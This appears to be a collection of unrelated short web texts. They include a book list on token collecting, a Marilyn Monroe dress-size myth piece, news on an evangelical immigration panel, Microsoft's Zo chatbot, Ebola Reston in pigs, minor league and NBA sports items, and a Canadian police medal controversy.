Smith, a longtime Episcopalian, died on October 3, 1976, and is buried near his ancestral home in Broad Run.
-The old adage “Buy the book before you buy the coin” most certainly applies for those who wish to pursue tokens and exonumia. While there are vast quantities of books which have been published that address U.S. Federal emissions, comparatively very few references exist which address tokens and exonumia.  More and more everyday collectors, as well as esteemed numismatists, are pursuing exonumia. Whether such interests include Civil War Tokens, Mid-19th-Century Merchant tokens, Hard Times, Scrip, or 18th-Century Colonials, having sufficient reference materials is key.  Below are 14 “Must-Have” books which every exonumia enthusiast — whether starting out — or more experienced have on their personal library shelves.  Whitman Encyclopedia of Colonial and Early American Coins  Q.D. Bowers, Whitman Publishing, ©2009 – Hardcover, 332 pages  This book provides listings, illustrations, and attributions for American colonial emissions, including Massachusetts, New Jersey, Virginia, Maryland, Connecticut, New York, Fugio, and Nova Constellatios.  Other emissions, including English token imports, are also included.  Pricing is organized by grade and by variety.  Bowers introduces his Universal Rarity Scale within this book, and where applicable, rarities are noted for each emission. Standard Catalog of United States Tokens 4th Editioin  Standard Catalog of United States Tokens 1700-1900 4th Edition  Russell Rulau, Krause Publications, ©2004 – Softcover / PDF, 1248 pages  This tome of a reference provides listings for United States tokens beginning from the colonial period, all the way to the turn of the 20th century.  Sections within this guide include Early American, Hard Times, Merchant, Civil War, Patriotic, Cardboard, Trade, and Gay 1890s.  Where known, Rulau provides history and rarity ratings for tokens.  A comprehensive index at the back of the book is an invaluable took for cross-referencing tokens. The book is packed with tokens, and is over 1200 pages in length.  A Guide Book of United States Tokens and Medals, 1st Edition  Katherine Jaeger, Whitman Publishing, ©2008 – Softcover, 288 pages  An introductory guide to the various types of United States tokens and medals, Jaeger gently introduces collectors to exonumia.  Multiple subtopics of tokens, medals, and exonumia are covered, including Transportation, Coal, Scrip, Casino, Transportation, Washingtonia — as well as Early American, Hard Times, Civil War, and Trade.  Valuations and catalog numbers are provided.  The guide is a terrific starter for any collector interested in exploring tokens.  100 Greatest American Medals and Tokens, 1st Edition  Katherine Jaeger & Q.D. Bowers, Whitman, ©2007 – Hardcover, 119 pages  A beautifully assembled and illustrated book, this guide provides readers with superb photographic references for America’s 100 most popular and desired tokens.  In addition to its beauty, this guide provides collectors with high-resolution photographs of many token emissions — a terrific source for vetting tokens and medals before purchase.  Aside from the top 100 tokens and medals, the guide also lists other exonumia contenders which didn’t make the list, but are still worthwhile mentioning.  The Token: America’s Other Money  Edited by Richard G. Doty, American Numismatic Society, ©1994 – Hardcover  This book is more of an assemblance of essays and articles, rather than a front-to-back comprehensive tome.  Within the publication are various articles that discuss counterstamp tokens, Hard Times, Civil War, Encased Postage, and even replicas and copies.  Throughout the book are illustrated examples of various exonumia emissions, including counterstamps.  More importantly, the authors discuss the backgrounds and historical significance of each subcategory of emissions, and provide the overall historical context of the eras for when they were struck.  U.S. Civil War Store Cards, 2nd Edition  George & Melvin Fuld, Quarterman Publications, ©1975 – Hardcover, 652 pages  Literally thousands of Civil War Store Cards were emitted during the United States Civil War.  Facing a dire shortage of minor coinage due to hoarding, merchants and proprietors faced a difficult time conducting commerce during the era.  Their solution was to attain the help of diesinkers and engravers, and have their own coinages struck. Father and son team George and Melvin Fuld, early collectors of Civil War tokens, assembled the guide to provide a single-source reference for all of the various emissions and estimated rarities.  The book is organized by state and town.  Patriotic Civil War Tokens, 5th Revised Edition  George & Melvin Fuld, Civil War Token Society,©2006 – Hardcover, 435 pages  A similar endeavor to the Fulds’ Civil War Store Cards book, this reference provides collectors with a comprehensive catalog of all known Patriotic Civil War token dies.  Unlike Civil War store cards, Patriotic tokens are emissions which did not specifically identify a merchant or proprietor. They were a less costly solution for merchants, because the tokens were struck using stock dies, and did not require custom engraving.  Rarities and illustrations for each of the known patriotic dies, as well as known combinations are provided.  An additional section which discusses the various Civil War engravers provides readers with an appreciation for the craftsmanship that went into making each token.  Merchant and Privately Countermarked Coins  Gregory G. Brunk, World Exonumia Press, ©2003 – Hardcover, 475 pages  Numismatic interest in counterstamped coins is fastly gaining ground. Gregory Brunk’s book is the most comprehensive book to date that attempts to index and identify all known counterstamped coins.  During the 19th century, Merchants began to increasingly counterstamp circulating coinage that passed through their hands. An easy and affordable way to permanently mark coinage, merchants saw this as an opportunity to market and advertise their businesses without having to also undertake the expense of having their own custom storecards or tokens engraved and minted.  The book is an invaluable reference, and contains over 2,000 photographs of countermarked specimens. With over 13,500 unique listings, historical background and reference information is provided wherever possible.  Besides the United States, other countries are also covered, including the UK, Australia, and France.  The Standard Catalog of Encased Postage Stamps, 1st Edition  M.J. Hodder & Q.D. Bowers, Bowers & Merena, ©1989 – Hardcover, 192 pages  During the Civil War, the country experienced a crippling shortage of minor coinage. Due to the uncertainties, people began to hoard all of the United States coinage they could get their hands on.  First gold coins disappeared from circulation. Silver came next. And finally, even copper and brass coinage disappeared.  As with Civil War tokens, merchants began accepting alternative forms of payment for goods and services, including postage stamps.  This book details and lists the various devices used to encase postage stamps, which not only provided a means to protect fragile the stamps, but also provide advertising.  The Atwood-Coffee Catalogue of United States and Canadian Transportation Tokens, 6th Edition, Volume 1  J.M. Coffee & H.V. Ford, American Vecturist Association, ©2007 – Hardcover  Throughout the United States and Canada there exist thousands of various transportation services; many more which have existed and since disappeared over the last 200 years.  Most transportation companies and agencies emitted tokens as a means for passengers and riders to present fare.  This catalogue provides a single reference for all of those token emissions, and include tokens for early coach, omnibus, ferry, turnpike, and streetcar, up to and including those issued in more recent times for subways, trains, and trollies.  Listings are organized by state and province, as well as city and municipality.  Scrip: Trade Tokens Issued by United States Coal Mining Companies & Company Stores  Stuart E. Brown Jr., Virginia Publishing Company, ©1978 – Hardcover  This informative book, written by Stuart E. Brown Jr, discusses the history of coal company scrip and its use within the United States.  Stuart discusses the various varieties of scrip emissions, including those made of paper and cardboard, as well as those struck as metal tokens.  Applicable to all types of scrip, and not limited to coal scrip, a detailed evolution of metal token use in the U.S. is studied. From the time when scrip emerged as simple crude discs, through to their mintage in modern times, where they’ve become patented — replete with trademarks, counting devices, and cut outs.  Edkins Catalogue of United States Coal Company Store Scrip, 3rd Edition, Volumes I & II  B. Williams & S.Ratliff, National Scrip Collectors Association – Hardcover  Donald Edkins in the 1960s endeavored to create a census of all coal scrip produced within the United States. As more and more emissions were documented, the initiative grew and grew.  The hardbound Edkins Catalogue is the output of that endeavor. Organized by state, county, and town, the catalog lists all known coal company scrip emissions, based on company and value.  As more obscure emissions are discovered, new listings are added to the catalog. In fact, the catalog has grown so large that it now consists of two volumes.  Rarity estimates are also provided.  20,000 Coal Company Stores  Gordon Dodrill, Dusquene Lithographing Co., ©1971 – Softcover, 287 pages  A helpful accompaniment to the Edkins Catalogue, this guide provides a cross-referenced index of all known Coal Companies, Coal Company stores, states, towns, and counties.  Over the course of the nations mining history, thousands of fly-by-night coal companies sprang into existence, only to quickly go out of business after a short time.  This book written by Dodrill is the most comprehensive index of coal companies and coal stores known to date. For many researchers and genealogists, this guide is an invaluable tool.  More Adventures with Rare Coins  Q.D. Bowers, Bowers & Merena Publishing, ©2002 – Hardcover, 459 pages  Of the many books which David Bowers has written, this is one of the few which ties history and background to the various coins and tokens covered in the book.  Numismatics is not only the study of coinages and exonumia, but equally important the people, the businesses, and the history tied to them.  Collectors who appreciate the cultural and human aspects of coins and tokens, and their important ties to history, will appreciate this book.  Over time, additional books and references will be added to this section.  Aaron Packard
-Sure, beauty icon Marilyn Monroe had curves, but there is a pop culture myth, propped up by quotes from Roseanne Barr and Elizabeth Hurley, that she was much larger than she really was. It’s all a complicated misunderstanding.  The claim is that Marilyn was a size 16 (which people think of in today’s size standards.) While sometimes Marilyn did appear to have a fuller figure, she almost always looked tiny.  For instance, Chloe Marshall, who was the first size 16 girl to compete in Miss England, is a lovely representation of what a 16 size is today:  Here’s Marilyn Monroe at what was probably her heaviest:  Possibly a size 10 or 12 by today’s sizing, but the truth is during most of her career, Marilyn was more slim than this.  There’s a lot that goes into the confusion about Marilyn’s size and weight. The argument is that our perception of beauty as a society has changed to prefer waif-thin girls over 1950’s hourglass pinup shapes. What’s odd about that is the fact that our population as a whole has gotten much bigger since the 50s, and clothing manufacturers have actually changed the sizes to be more kind to our egos. Maybe at one point Marilyn did wear a size 16 dress, but it was probably more of what a size 12 is today.  Here are the quotes that really pumped up the Marilyn plump myth:  Roseanne Barr:  “I’m more sexy than Pamela Lee or whoever else they’ve got out there these days. Marilyn Monroe was a size 16. That says it all.”  Elizabeth Hurley:  “I’ve always thought Marilyn Monroe looked fabulous, but I’d kill myself if I was that fat…I went to see her clothes in the exhibition, and I wanted to take a tape measure and measure what her hips were. She was very big.”  That’s strange, because many others have also reported back from actually measuring an owning her clothes, and those reports paint a much different story than what Elizabeth Hurley is speculating about.  There’s are also Marilyn’s measurements from her dressmaker:  Height: 5 feet, 5½ inches  Weight: 118-140 pounds (Hollywood studios listed her between 115-120 lbs.)  Bust: 35-37 inches  Waist: 22-23 inches  Hips: 35-36 inches  Bra size: 36D  Hmm, so her waist never got above 23 inches, and her hips never got beyond 36.  When British Journalist Sara Buys actually tried on Marilyn Monroe’s clothes, here’s what she experienced:  Contrary to received wisdom, she was not a voluptuous size 16 – quite the opposite. While she was undeniably voluptuous – in possession of an ample bosom and a bottom that would look at home gyrating in a J-Lo video – for most of the early part of her career, she was a size 8 and even in her plumper stages, was no more than a 10. I can tell you this from experience because a few weeks ago, I tried to try on her clothes.  British sizes are also different from American sizes, as in they are less forgiving. A British size 8 is actually an American size 4, a 10 is a 6.  Daven Hiskey on the website todayIfoundout.com notes that Marilyn’s infamous Seven Year Itch white dress was too small to fit on a size 2 mannequin. He also noted that many times her clothes were so tight she had to be sewn into them. Often she was wearing what would be considered now to be a size 2, when she probably would be more comfortable with a 4.  So why worry about all this? Because the truth behind myths matter, and in a society that’s full of body conscious young women it’s better to know that if you’re a size 16 you’re not going to look like Marilyn Monroe, because she was a size 4. It’s also important to know that Marilyn Monroe was not overweight in any way, and if your body does resemble hers, neither are you.
-Today’s Heritage Foundation event featured conservative evangelicals who are unhappy with other evangelicals who are promoting comprehensive immigration reform. Our “who’s who” of the speakers turned out to be a good guide to what they had to say. Speakers repeatedly (falsely) characterized the Senate immigration bill as “amnesty.”  James Hoffmeier, author of a book on immigration and the Bible, said he objects to people using the Bible to talk about immigration “the wrong way” and “misuse the scriptures to advance a cause.” He argues that undocumented immigrants are not the kind of people referred to in Bible verses about being welcoming to strangers.  Mark Tooley of the Institute on Religion and Democracy griped about mainline denominations demonstrating a lack of concern for border security. He credited evangelicals endorsing comprehensive immigration reform for citing a need for border security, but criticized them for supporting the “mass legalization” in the Senate bill, which he characterized as legalization first, border security later.  Kelly Kullberg organized Evangelicals for Biblical Immigration as a counter to the Evangelical Immigration Table, which energetically backs the Senate bill. She is also, like Tooley, a founder of Christians for a Sustainable Economy (CASE), a group that criticized Christians calling themselves the “Circle of Protection,” who had argued against cuts to federal programs that serve the poor. (In a letter to President Obama and congressional leaders, CASE asked, “Whom would Jesus indebt?” and declared “The Good Samaritan did not use a government credit card.”) Kullberg made similar points about the immigration bill, saying America is a “near-bankrupt welfare state living on borrowed money” and cannot afford “amnesty” and “an influx of foreign labor.” She said “Kindness to foreigners should not be theft or injustice to citizens.” She also said that nowhere in scripture do we see “blanket amnesty or asylum.”  Carol Swain, right-wing author and law professor, argued that Christians should support respect for the rule of law. Swain warned “We’re welcoming people who totally reject who we are as a people,” and said we create problems for ourselves “if we bring in people who are not easily assimilated.” She declared, “There is no place in America for Sharia law in the U.S. Constitution.” But Swain said she favors immigration reform if it is done the “right way” and encouraged people to read her book, Be the People, to find out how.
-The More You Know 2013 logo Production company(s) NBC Universal Release Original network NBC networks Original release September 9, 1989 –  present Chronology Preceded by One to Grow On  (1983–1989) External links Website  The More You Know is a series of public service announcements (PSAs) broadcast on the NBC family of channels in the United States and other locations, featuring educational messages. These PSAs are broadcast occasionally during NBC's network programming.  The spots feature personalities from various NBC shows, as well as other notable figures such as U.S. presidents. Tom Brokaw was the first person to do a The More You Know spot; it aired on NBC in September 1989, succeeding the One to Grow On PSAs that were used from 1983 to 1989.  El Poder de Saber (The Power of Knowledge) is The More You Know's sister campaign on Telemundo. While the other U.S. broadcast networks have similar campaigns, namely CBS Cares and Disney-ABC's Be Inspired, The More You Know is likely the most well known.  History [ edit ]  A senior executive at NBC, Dr. Rosalyn Weinman, developed the campaign and wrote most of the on-air PSAs after putting an advisory council together. She ran the campaign for 10 years. The first 'comet trail' star logo was designed by Steve Bernstein and later produced by Paul Johnson on an animation stand using a slit scan technique at R/Greenberg Associates (now R/GA Digital Studios) in Manhattan. They were later updated using three-dimensional computer graphics. The More You Know program won a Peabody Award in 1993 for serving as "a model national public service campaign to provide a range of useful information to its vast television audience."[1]  The campaign has featured a range of guests over the years including Amy Poehler, Joan Rivers, Jack McBrayer, Steve Harvey, Anjelica Huston, Questlove, and Jimmy Fallon.[2] Several past U.S. presidents have also participated in the campaign, including Bill Clinton, George H. W. Bush,[3] and Barack Obama, who encouraged parents to be more involved in their children's education, while First Lady Michelle Obama worked to promote the prevention of childhood obesity.[4] The show has also featured Jonathan Brandis.  On February 24, 2016, NBC announced that it would launch a new Saturday morning E/I block named after the campaign, programmed by Litton Entertainment and replacing its in-house NBC Kids block.[5]  Parodies [ edit ]  The campaign has been widely parodied, with references in Will & Grace, 30 Rock, Family Guy,[6] Drawn Together, Scrubs, recurring parodies on Late Night with Conan O'Brien, a running segment on The Daily Show called "The Less You Know," and an April 2006 series of NBC-produced mock PSAs starring the cast of The Office. A sketch on Saturday Night Live portrayed the sometimes-fatal effects of CPR.[7] A parody was also on MADtv mentioning the "[nonexistent] danger of conga lines", and another one which spouted random obvious facts. Spliced has a parody of public-service announcements in general (and The More You Know in particular), in brief segments called "Knowing is Growing".[citation needed]  During the Super Bowl XLIX halftime show (which itself was broadcast by NBC), Katy Perry closed her performance with a rendition of "Firework" while riding on a shooting star; following the show, comparisons were drawn to the former logo of The More You Know, as captured by user-created edits of photos from the scene.[8]  See also [ edit ]  The More You Know (block)  CBS Cares , a currently running CBS PSA campaign  , a currently running CBS PSA campaign Read More About It, a PSA campaign created by a joint venture between CBS and the Library of Congress
-I am raising money in order to purchase RGO braces. These RGO braces will allow me to walk across the stage for the first time in 4.5 years at my graduation -Spring 2014.  In 2009, on my way to school in Denton, I got into a truck wreck- I broke my neck, shoulder, wrist, ribs, my lungs collapsed twice, my brain hemorrhaged and injured my spinal cord at the lower thoracic spine- leaving me paralyzed from the waist down.  After the wreck I was determined to get my life back on track ASAP. I re-enrolled at the College of Visual Arts & Design at UNT the following August- living independently only 1 year after having been in a coma. In the spring I will be graduating with 2 degrees and a 3.3 GPA. I want to reward my accomplishments with a statement of strength: I will walk across that stage, and I will do it with my chin up because determination and support can accomplish anything.  Help spread the word! Share Tweet 811 total shares total shares
-Microsoft has learned a lot about chatbot technology since the unfortunate rollout of the short-lived “Tay” chatbot one year ago this week, when Internet users were able to teach Tay to make racist and misogynistic remarks. This weekend, the company offered insights on the lessons learned from that experience, as well as the huge amount of artificial intelligence work Microsoft is now undertaking.  With encouragement from CEO Satya Nadella, the company’s artificial intelligence team moved on from Tay and started offering a new chatbot aimed at millennials called Zo late last year. Zo is based on the company’s popular XiaoIce Chinese-language bot (which Microsoft rolled out on WeChat in 2014).  “Tay is gone, Zo is the one we are embracing and supporting,” said Xuedong Huang, Microsoft technical fellow of artificial intelligence, during a presentation on Saturday at the AI NEXT tech conference in Bellevue, Wash. “AI is (about) learning from data. We learned from what happened. (With Tay), we didn’t do a super, super good job. With Zo, we are doing a much better job.”  Microsoft doubled-down on artificial intelligence last fall with the formation of a new 5,000-person AI and Research Group.  Huang demonstrated a number of major applications of Microsoft’s AI and chat technologies, including a new implementation Microsoft is now using on its company-wide support website. He showed how you can just click on the “Get started” button to start an immediate chatbot session. Once in the chat, you can ask questions such as “How do I upgrade from Windows 8?”  In the demonstration, not all the answers provided the best possible resolution to the question, but Huang says it is a work in progress and does demonstrate the promise of the technology — and the way Microsoft is committed to using bots to meet mainstream enterprise business requirements.  Li Deng, Microsoft’s chief scientist of artificial intelligence, told the conference that today’s AI and chat solutions are the culmination of several decades of evolution in artificial intelligence — with each stage of AI marking a new generation of solutions.  Deng said that the first generation of AI lasted from the early part of the 1990s until almost the turn of the decade, and was primarily centered on rules and templates.  Such systems offered limited function in terms of the inputs allowed and the outputs provided (think of early voice-based train schedule information systems) and relied on those with expert domain knowledge to design them. They were hard to scale to more than one area of expertise, or domain. You couldn’t, for example, use the framework for a flight-booking system to architect a telephone banking system. Data was only used to design the rules that created the system — not to learn and evolve the way the system operated.  “The problem was this approach was that it was very brittle,” he said. “There are still many systems today based on this approach because it’s easy to interpret the results.”  The next generation of AI came in the late 1990s and was based on “data-driven, shallow learning” and used in conjunction with speech recognition, he said. Its goals were really about using data to reduce the cost of hand-crafting complex dialogues and making systems less sensitive to speech recognition errors. It also did try to leverage data a lot more.  “If you have a lot of data, you automatically learn a lot of things,” he said. “It pushed the state of the art in a very nice direction because it was data-driven.”  But Deng explained that this second generation of AI produced results that were not always easy to interpret or debug — and these systems were hard to update. They also didn’t really replace first-generation systems, but rather ran in parallel with them.  All of that leads to today’s third generation of artificial intelligence, from which Microsoft’s current chat solutions came. Deng says that in these systems, the key difference is data-driven deep learning.  Deng says this deep learning approach powers today’s conversational bots into four categories: social chatbots (such as Microsoft’s Zo and XiaoIce); InfoBots (aimed primarily at retrieving information); task completion bots (that are all about helping you accomplish a particular task, such as booking a flight or troubleshooting a technical issue); and personal assistant bots (which can combine informational retrieval and task completion with recommendations — such as suggesting the best Italian restaurant near you).  Microsoft faces tough competition in all of the above categories for use of bot technology — and notably AI driven by voice. Deng acknowledged the broad field by identifying Amazon’s Echo, Apple’s Siri, Google Now, VocalIQ and IBM Watson Analytics as competitors that play in the same space as Microsoft’s Cortana.  Deng also talked about how Microsoft has combined AI with speech recognition and machine translation technologies. By taking speech recognition technology to turn spoken words into text, Microsoft can then use its machine translation tools to translate those words from one language to another.  Speech synthesis technology then allows those newly-translated words to be converted into spoken words in another language. All of those functions have now been rolled into the latest features for Microsoft Translator, which rolled out late last year for Android, Amazon, iOS and Windows devices.
-By Raqib Hameed Naik, TwoCircles.net  Doda (Jammu) : The holy month of Ramadan can be a testing period for teenagers. But for Shahnawaz Ahmed, a 13-year-old boy from Koti Basti Village in Doda district of J&K, it is the time of the year when he spends his entire day in a local madrasa reading chapters of Holy Quran. And for good reason too: every evening, he recites the Quran while while leading the ‘Taraweeh’ prayer in a local mosque in the evening.  Shahnawaz was 12 when he became Hafiz Quran after studying in Anwar-ul-Uloom Madrasa in Akramabad, Doda for four years.  Despite his age, Shahnawaz leads ‘Taraweeh’ prayers in Masjid Hamza, in Samalen locality of Doda. He takes 80 minutes to read one Juz (part) of holy Quran in 20 Rakats of ‘Taraweeh’  “Alhamdulillah, I feel so happy that Allah gave me chance to lead the prayers at this age,” says Shahnawaz.  Support TwoCircles  Asked if he doesn’t get tired spending the whole day in memorizing and evening in reciting Quran, he quickly adds, “Instead it refreshes me. It gives me peace at heart.”  He finished reciting the last chapter of Quran (chapter number 114) on the night of Lailat-ul-Qadr.  “On an average, I recite one Juz in 20 Rakats every day. Sometimes, it extends to one and a half Juz. I had made the schedule in such a way, so that I can complete the last chapter of Quran on the night of Lailat-ul-Qadr,” he said.  Shahnawaz was just a few months old when his mother died. As he grew up, affording school education was a distant dream as his father, a laborer by profession hardly earned enough means to meet the ends. He was admitted in Madrasa at the age of eight.  “Initially, I couldn’t settle in the environment of Madrasa, which was totally different for a village boy like me, who didn’t knew anything about Islam. But gradually with the help of my new friends and the realization of essence of Islam in the life of Muslim, I totally gave myself into the study of Quran,” he told TwoCircles.net  Even though he is happy at what he is doing, after joining an Islamic Seminary he also developed a desire to study in a school, where he could learn Maths, Science and most importantly, English.  “When I came to Madrasa, every morning, I see children of different ages in my neighbourhood in school uniforms waiting for their school buses. Those images would revolve around my mind for next couple of days and the desire of being one among them is still there,” he says and adds after a pause, “Still, I am happy with what Allah has given me, because he is the biggest planner.”  He is very happy these days: the people in the neighborhood of Masjid Hamza collected money and bought him new clothes for Eid and gave him Rs 1,800 in cash, which he proudly carries in his pocket.  “This money will last almost three months,” he says.  He is going to stay in the madarasa for another year and then migrate to another madarasa in Jammu, where he plans to do a course in ‘Alamiyat’ for next nine years and another two years to become a ‘Qari’ (reciter) in a madarasa at Srinagar.  When asked about his plans after completing all his courses, Shahnawaz says, “I want to become a teacher and teach students in Islamic seminary,” he says.  After Eid, he will rejoin his madrasa and finish his remaining one year education, before he moves to Jammu to study there for almost a decade.
-Four more Filipinos have been shown to have contracted the Ebola Reston virus, a finding that increases the likelihood that pig-to-human transmission took place, health officials said Friday.  Philippine Health Secretary Francisco Duque III said there now are five known cases of possible pig-to-human transmission of the virus after a backyard hog raiser from a northern Manila suburb became the first confirmed case this month.  An initial report said that none of the five men wore protective clothing and all were exposed through direct contact with sick pigs, according to Duque.  The rare virus - first discovered among monkeys south of Manila in 1989 - has not been known to cause serious illness among humans. At least 25 people in the Philippines have been infected with the virus by monkeys, but only one victim exhibited mild flu-like symptoms.  Three of the Ebola virus' five subtypes are associated with deadly hemorrhagic fever in humans; two other subtypes, including the Reston, are not, according to the World Health Organization.  WHO's Dr. Julie Hall said the five cases in the Philippines "increases the likelihood" of pig-to-human transmission of the virus, but investigators were not yet certain. She said all five people are now virus-free.  "They are not infectious to others, they therefore do not need to be quarantined," she said.  While the virus appears to pose low risks to humans, Hall said the government must implement strict measures such as quick reporting of sick or dying pigs and prevention of the sale of illegally slaughtered meat to keep the virus from spreading among the swine population.  The Philippine government invited experts from WHO, the Food and Agriculture Organization and World Organization for Animal Health early this month to conduct a study on the health risks of the virus, first found in pigs in the Philippines in October.  The discovery not only marked the first time the virus has been found outside of monkeys, but also the first time it has been found in swine, a food-producing animal.  Health officials were trying to locate anyone who may have had contact with the five men.
-The Royals once had a farm system the envy of baseball, and while not all of those prospects panned out, many became the nucleus of a club that would win two pennants and a championship, validating the hard work of the scouting department. However the Royals have failed to re-stock that farm system effectively, at least, according to experts like ESPN’s Keith Law. Law began his rankings of organizational talent this week and ranked the Royals 26th in baseball, ahead of only the Diamondbacks, Marlins, Mariners, and Angels.  The Royals have had their farm system depleted due to graduations (Raul Mondesi), trades (Sean Manaea), and injuries (Kyle Zimmer), but it is also clear they have had some poor drafts of late. Despite this, there are a few rays of light to hold out hope for, and Law admits that the Royals could move up quickly with some high upside prospects.  Of all of the systems down here on the bottom rung, none has the untapped upside of the Royals’ organization, with more guys whose scouting reports start with “if…” than any other.  Law mentions the high upside of Zimmer, who has been ravaged by injuries in his career, but continues to show “ace”-quality stuff when healthy. Zimmer underwent thoracic outlet syndrome surgery last fall after missing the entire season. Law also mentions the high upside of pitcher Josh Staumont, who some are calling the best prospect in the Royals system. Staumont flashes a 100 mph fastball, but has shown very little command in his career and could end up in the bullpen.  Pitcher Garrett Davila and shortstop Marten Gasparini also get singled out as players who have high upside if they can figure things out. Davila posted a 2.77 ERA in 65 innings in low Rookie ball for Burlington at age 19 last year. The Italian-born Gasparini struggled mightily in Low A Lexington, hitting .191/.256/.293, but was very young for the level, and he held his own the year before that in Advanced Rookie ball at Idaho Falls.  Law notes that the Royals have employed a “swing for the fences” strategy in amateur scouting that proved fruitful for years, but has come up empty more recently. The Royals have steadily dropped in his organizational rankings, ranking 11th in 2013, 7th in 2014, 15th in 2015, and 23rd in 2016.  Keith Law, who once worked in the Toronto Blue Jays front office, will unveil his full organizational rankings over the next few days. Next week he will unveil his Top 100 prospects, of which the Royals are not expected to land many (if any) prospects.
-Have you ever had the opportunity to pass on a childhood dream? From the sounds of it, that is what former Syracuse Orange shooting forward James Southerland did Thursday in the middle of the 2013 NBA Draft.  According to Syracuse.com, the NBA's runner-up, the San Antonio Spurs, an organization that has been praised for years about how it is run, wanted to pick Southerland with its second-round selection (No. 58-overall) but Southerland and his agent said no thanks. Why? Because the Spurs wanted him to play in Europe to develop his game.  Now, to each their own. One has to make the best decision for one's self. That is why I am not going to write a column on whether or not this was a bad career move for J-South.  However, with that said: If your dream is to get drafted by a NBA franchise -- especially one as good as the Spurs, who in the NBA Finals proved they use shooting forwards very well and showed interest in you before the draft -- and one tells you they want you but you need to do this, this and this; I personally would have a tough time saying, "Ahhhhh. No thanks."  So far, Southerland has yet to sign a contract with a NBA team, though, it is expected he will get a chance to. (Keyword: chance.)  Honestly, I hope it all works out for him but, man, that is a tough decision to support.
-Winston-Salem trounced Durham 10-0 without an exchange of blows Tuesday after a bench-clearing brawl Monday left one player hospitalized.  Ten players were ejected following the brawl Monday night, which was “Strike Out Domestic Violence” night at the Durham Bulls Athletic Park.  Warthogs pitcher Glen Cullop lost several teeth and was knocked unconscious during the brawl. He was listed in stable condition Tuesday at Durham Regional Hospital.  League president John Hopkins said it was still too early to discuss what action the league will take.  “I’ve only just received the report from the umpires,” Hopkins said. “I’ll be there tonight to talk to the teams. We’ll just have to see what happens after that.  “I will say this - both managers are extremely concerned about the incident and I have confidence that they will use their influence to try to prevent a recurrence.”  Winston-Salem’s Curt Lyons pitched seven innings for the victory Tuesday, and Gulls left-hander Del Mathews took the loss.  Monday’s brawl began after Durham’s John Knott was hit by a pitch from Jason Kummerfeldt and charged the mound with two out in the bottom of the third.  Kummerfeldt already had hit Danny Magee in the first and had given up consecutive homers before hitting Knott on the left arm. In the top of third, Bulls pitcher Jamie Arnold had hit Aaron Boone of Winston-Salem.  “They had it coming,” Knott said. “I could tell that the guy intentionally threw at Danny Magee in the first inning.”  Kummerfeldt denied hitting the Bulls intentionally.  “I had no control and no command of my pitches,” he said. “I kept trying to go inside. I hate the fact that I hit three or four batters, or whatever it was.”  Hopkins said a similar incident prompted by batters being hit with pitches occurred last year in a game between Wilmington and Salem.  “There were fines and suspensions for those involved, as there probably will be in this case,” he said. “I just don’t know who was involved and to what degree.”  Hopkins said the minimum penalty for a player who leaves his position and becomes involved in a confrontation on the field is a two-game suspension and $100 fine.  The brawl delayed the game 32 minutes.  Winston-Salem won 10-8.
-There is growing outrage in a community near Cornwall, Ont., after a police officer was awarded a Medal of Bravery for an incident in which the high-speed pursuit of a suspect ended in the death of three people.  Gov. Gen. David Johnston handed Akwesasne Mohawk police Const. Michael Biron the medal last Friday for putting his own life at risk to attempt to rescue an elderly couple after a van collided with their car on Nov. 14, 2008.  Edward and Eileen Kassian, both from Massena, N.Y., died on Nov. 14, 2008, after a van struck their car while they were driving on Cornwall Island. (CBC)  The award is contentious because Biron had been the driver of a police vehicle in pursuit of the driver of the van, who was suspected of smuggling cigarettes. At the height of the chase, Biron's vehicle was pursuing at speeds reaching 160 km/h.  Equally troubling for residents in the community is that six months ago, Biron was involved in a second police chase that ended with the death of a young couple.  Officer attempted to rescue elderly couple  In the 2008 incident, Biron was in pursuit of the suspected cigarette smuggler when the suspect's van collided with a car. Both vehicles burst into flames.  Canada Border Services officer Yves Soumillon also responded to the crash from the Canadian port of entry on Cornwall Island, just metres from the crash site.  Biron and Soumillon rushed to the car and tried to open its damaged doors and save Edward and Eileen Kassian, both from Massena, N.Y. They were unable to rescue the 77-year-old couple before flames engulfed the vehicle. The driver of the van also died.  Michael Kassian, the couple's son, called the award an injustice for his family and their friends.  "I don't think he did anything to save their lives," said Kassian. "I think he did more using poor judgment based on the fact that he ensued this chase."  Const. Michael Biron was charged with criminal negligence and dangerous driving causing death in relation to a 2008 crash where three people died. But those charges were later dismissed. (CBC)  After the collision, Biron was charged with criminal negligence and dangerous driving causing death, but those charges were later dismissed.  New York State Democratic congressman Bill Owens said that based on the Kassian family concerns, he is contacting Ottawa to find out why the award was given to Biron.  Timmy Currier, the chief of police for Massena and a neighbour of the Kassians, said he believes Biron stepped over the line.  "We're not going to pursue for minor violations. and most particularly, we're not going to pursue when people's lives are in danger … either the person being pursued, or the officer or innocent bystanders. In the Kassians case, their death was avoidable," said Currier.  Young friends killed last year  In the 2011 incident, 19-year-old Amber Aliff was driving her car with two passengers when they ran a stop sign. Biron set off in a brief pursuit from the Mohawk territory and into New York State but broke off the pursuit at an intersection.  A few hundred metres from the intersection, the car crashed into a tree, killing Aliff and 22-year-old passenger Dakota Benedict.  "I just believe that if he had stopped chasing them at the border then they'd be here today," said Benedict's mother, Michelle Sawatis.  Residents of Akwesasne have started a petition to remove Biron from the police force.  Akwesasne police not involved in nomination  In a joint statement released Thursday, the Mohawk Council of Akwesasne, the Akwesasne Mohawk Police Commission and the Akwesasne police said Biron was nominated for the award without their knowledge or involvement.  They said they would not be providing comment on "a process in which they did not participate."  A spokeswoman with the Office of the Secretary of the Governor General said the award was given in recognition of Biron putting his own life in danger to attempt to rescue another person.  "It is not related to any other incident that might have taken place following this event," said Marie-Pierre Bélanger in a statement.  Bélanger said witnesses, investigators and police officers are contacted as part of the research process, but not family members of the victims of the crash.  Michael Kassian said he was never contacted about the award, and said if he had been, he would not have endorsed any award for Biron.  "It's a slap in the face," said Kassian.
-Few crimes attract more public opprobrium than assaults on older people in their homes. Physical injuries inflicted on vulnerable people during the course of burglaries is bad enough, but the long-term effects on these victims can be horrendous as they find it difficult, or even impossible, to return to their homes and feel safe again. Such crimes are relatively rare but they have a corrosive effect on society in general and on the quality of life of people living alone in urban and in isolated rural areas.  The murder of 78-year-old Rose Hanrahan during a break-in at her home in Limerick city last week was an extreme event and is currently being investigated by the Garda Síochána. A successful prosecution in the case may, however, do little to reduce the fear generated among her neighbours by the realisation that an individual or individuals in the community could do such as thing. During the past year, a number of older people have been subjected to serious assaults and extreme verbal threats during the course of burglaries. In spite of alarmist publicity, most of these have occurred in urban areas.  During the last general election campaign, rural crime and the closure of more than 300 Garda stations in 2013/2014 became a major issue. Negotiations on a programme for government brought a commitment to reopen six stations. Subsequently, crime rates in those areas 